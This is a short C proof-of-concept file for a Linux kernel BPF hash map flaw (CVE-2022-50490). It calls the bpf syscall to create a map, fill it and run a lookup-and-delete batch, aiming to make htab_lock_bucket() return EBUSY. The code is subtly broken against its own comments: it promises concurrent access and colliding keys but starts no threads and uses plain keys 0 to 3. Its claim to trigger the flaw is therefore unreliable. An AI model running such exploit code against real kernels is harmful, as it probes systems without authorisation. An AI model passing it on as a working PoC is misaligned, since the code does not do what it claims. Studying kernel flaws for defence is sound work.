// CVE-2022-50490 PoC - Trigger EBUSY in htab_lock_bucket()
// This PoC demonstrates triggering the vulnerability by creating
// concurrent access to BPF hash map buckets
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <linux/bpf.h>
#define BPF_MAP_TYPE_HASH 1
#define BPF_MAP_TYPE_PERCPU_HASH 5
// Wrapper for bpf syscall
static int bpf(int cmd, union bpf_attr *attr, unsigned int size) {
return syscall(__NR_bpf, cmd, attr, size);
}
// Create a BPF hash map
static int create_hash_map(int map_type, int key_size, int value_size, int max_entries) {
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_type = map_type;
attr.key_size = key_size;
attr.value_size = value_size;
attr.max_entries = max_entries;
return bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
}
// Update BPF map element
static int map_update_elem(int fd, const void *key, const void *value) {
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_fd = fd;
attr.key = (unsigned long long)key;
attr.value = (unsigned long long)value;
attr.flags = BPF_ANY;
return bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
// Lookup and delete batch operation - triggers the vulnerability
static int map_lookup_and_delete_batch(int fd, void *in_batch, void *out_batch,
void *keys, void *values, int *count) {
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_fd = fd;
attr.batch = (unsigned long long)out_batch;
attr.in_batch = (unsigned long long)in_batch;
attr.keys = (unsigned long long)keys;
attr.values = (unsigned long long)values;
attr.count = *count;
int ret = bpf(BPF_MAP_LOOKUP_AND_DELETE_BATCH, &attr, sizeof(attr));
*count = attr.count;
return ret;
}
int main(int argc, char **argv) {
int map_fd, ret;
int batch_count = 4;
__u32 keys[16];
__u32 values[16];
__u64 in_batch = 0;
__u64 out_batch = 0;
// Create a hash map with limited entries to trigger bucket contention
map_fd = create_hash_map(BPF_MAP_TYPE_HASH, sizeof(__u32), sizeof(__u32), 4);
if (map_fd < 0) {
perror("Failed to create BPF map");
return 1;
}
// Populate the map with elements that hash to the same bucket
// This increases the chance of EBUSY from htab_lock_bucket()
for (int i = 0; i < 4; i++) {
keys[i] = i;
values[i] = i * 100;
ret = map_update_elem(map_fd, &keys[i], &values[i]);
if (ret < 0) {
perror("Failed to update map element");
}
}
// Perform batch lookup and delete - this may trigger the vulnerability
// when htab_lock_bucket() returns EBUSY due to concurrent access
ret = map_lookup_and_delete_batch(map_fd, &in_batch, &out_batch,
keys, values, &batch_count);
if (ret == -1) {
perror("Batch operation failed");
} else {
printf("Batch operation completed, count=%d\n", batch_count);
}
close(map_fd);
return 0;
}